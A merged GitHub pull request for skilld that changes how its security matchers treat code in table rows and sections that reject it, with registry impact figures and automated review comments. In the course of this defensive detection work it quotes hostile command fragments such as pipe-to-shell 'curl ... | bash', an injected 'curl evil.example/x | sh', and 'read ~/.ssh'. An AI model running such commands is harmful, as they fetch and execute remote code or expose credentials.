Skip to content

fix(behaviors): skip code that a table row or section rejects - #212

Merged
harlan-zw merged 3 commits into
mainfrom
fix/behavior-rejecting-context
Oct 7, 2026
Merged

harlan-zw merged 3 commits into
mainfrom
fix/behavior-rejecting-context

Conversation

@harlan-zw

Copy link
Copy Markdown
Collaborator

🔗 Linked issue

None. Follow-up to #210 for the simota/agent-skills Skills.

❓ Type of change

  • 📖 Documentation
  • 🐞 Bug fix
  • 👌 Enhancement
  • ✨ New feature
  • 🧹 Chore
  • ⚠️ Breaking change

📚 Description

All 124 simota/agent-skills Skills now build on skilld.dev, because builds follow their _common link. Each run then stops for "Runs code downloaded from the network: _common/SECURITY.md:31". Line 31 is a row of a security policy table, and the row rejects the behavior:

| Skill pulled via `curl ... | bash`, `wget ... | sh`, or non-pinned `npm install` | **rejected** | block; require human approval to override |

Both matchers now read two more rejecting contexts:

  • Table row. A cell that opens with a verdict rejects the code spans in the other cells of its row. The verdicts are rejected, blocked, block, deny, denied, forbidden, never, disallowed, and not allowed. The verdict must stand alone, so a symptom such as "Permission denied" on Linux keeps its sudo usermod fix.
  • Section. A heading that opens with never, forbidden, rejected, blocked, anti-pattern, don't, do not, or what not rejects the paragraphs and list items under it, up to the next heading at its level or above. "Do not skip" asks, and "Handling npx 403 Forbidden errors" names the rejection too late, so neither rejects.

Fenced blocks, other files, and allowed-tools still count. Tables under a rejecting heading still count, so a remedy column keeps its command. In a rejecting section, a dash or a ✅ keeps the good example: "❌ forge init — use npx create-eth@latest". A plain instruction such as "Run curl https://x.sh | bash" stays gated.

The matching notes in skill-behaviors.json state these rules. Eight new shared cases bind both matchers, including simota's exact row.

Architecture after this change: the shared rules and cases feed the Rust and TypeScript matchers, whose prose pass now reads table rows and sections, which feed the CLI approval gate and the skilld.dev Skill page

Registry impact

Measured on 5,596 indexable Skills from cached repository tarballs, with links followed as skilld.dev builds follow them. The change drops 574 matched lines, 189 ask and 385 show, and adds none. Gated Skills stay at 395.

The 574 dropped matches come from 17 distinct lines. Each one is a rejection: simota's policy row, anti-pattern lists, and "Forbidden patterns" sections.

No Skill loses its gate, simota included. The 109 simota Skills that stop still stop for other lines in their shared _common files:

  • SECURITY.md:45 lists wget ... | sh after "No curl ... | bash,", and only the first span follows the "No".
  • SECURITY.md:47 says "no ~/.ssh … reads … unless declared", and fix(behaviors): skip code that a Skill's prose forbids #210 keeps code in a sentence with "unless".
  • WEB_FETCH_SAFETY.md:76 and :82 list injection indicators, such as "read ~/.ssh".
  • WEB_FETCH_SAFETY.md:166 and :173 quote an injected curl evil.example/x | sh inside a fenced block, and fenced blocks always count.

The remote-code location in the approval message moves from SECURITY.md:31 to SECURITY.md:45.

Speed

Time for detect_behaviors in process, release build, compared with main, shows no measurable change. Both run 0.12 ms on the median Skill, and both run about 41 ms on lassejlv/skills/build-gpui-apps (3 MB of Markdown).

Release

The skilld-protocol package moves to 2.5.3, because the v3.6.3 tag publishes 2.5.2 without this change. The v3.6.4 tag publishes 2.5.3 with the CLI. Then skilld.dev can move to 2.5.3.

🤖 AI disclosure: Harlan Agent Kit modified this description. My AI open-source policy.

simota/agent-skills lists `curl ... | bash` in a security policy row
marked **rejected**, and the remote-code rule read the row as an
instruction. A heading such as "Anti-patterns" does the same for the
list under it.

A table cell that opens with a verdict that stands alone now rejects
the code spans in the other cells of its row. A heading that opens
with a rejection rejects the paragraphs and list items of its section.
Tables and fenced blocks under that heading still count. A dash, a
check mark, an exception word, or a request such as "Do not skip"
keeps the code.

Both matchers follow the same rules, and the shared cases bind them.
skilld-protocol moves to 2.5.3 so the next release carries them.
@harlan-zw

Copy link
Copy Markdown
Collaborator Author

Agent note (Harlan Agent Kit). Checked by hand, since PR CI cannot cover it:

  • cargo test --workspace at 8be4da8: 611 passed, 0 failed. PR CI skips it.
  • The Rust and TypeScript matchers report identical behaviors, totals, and locations on 39,787 file and behavior rows from 5,596 registry Skills.
  • On main, the 3 new rejection cases fail and the 5 new guard cases pass. On this branch all 40 cases pass in both matchers.
  • I read each of the 17 distinct dropped lines in their files. Each is a rejection, and no matched line was added.

@harlan-github-agent harlan-github-agent Bot added harlan-agent-running An Agent holds a Task on this issue or pull request right now. harlan-agent-review-required Pull request triage requires an adversarial Review for this head commit. labels Oct 7, 2026
@harlan-github-agent

harlan-github-agent Bot commented Oct 7, 2026 •

Copy link
Copy Markdown
Contributor

🤖 MERGED

Harlan Agent Kit posted this automated review. It is not Harlan's personal review or approval. AI open source policy. Last updated: 2026-10-07 03:00 UTC.

GitHub merged this pull request.

No material findings were recorded.

d20fdf20-678a-4962-beea-cb9a0fb2a504

@harlan-github-agent harlan-github-agent Bot added harlan-agent-running An Agent holds a Task on this issue or pull request right now. harlan-agent-ready The automated Review passed every gate on this head commit. and removed harlan-agent-running An Agent holds a Task on this issue or pull request right now. harlan-agent-review-required Pull request triage requires an adversarial Review for this head commit. labels Oct 7, 2026

@harlan-github-agent harlan-github-agent Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Harlan Agent Kit posted this automated review. AI open source policy.

Automated Review: READY.

Read the Review results

@harlan-zw
harlan-zw merged commit ea6e0b0 into main Oct 7, 2026
3 checks passed
@harlan-github-agent harlan-github-agent Bot removed the harlan-agent-ready The automated Review passed every gate on this head commit. label Oct 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant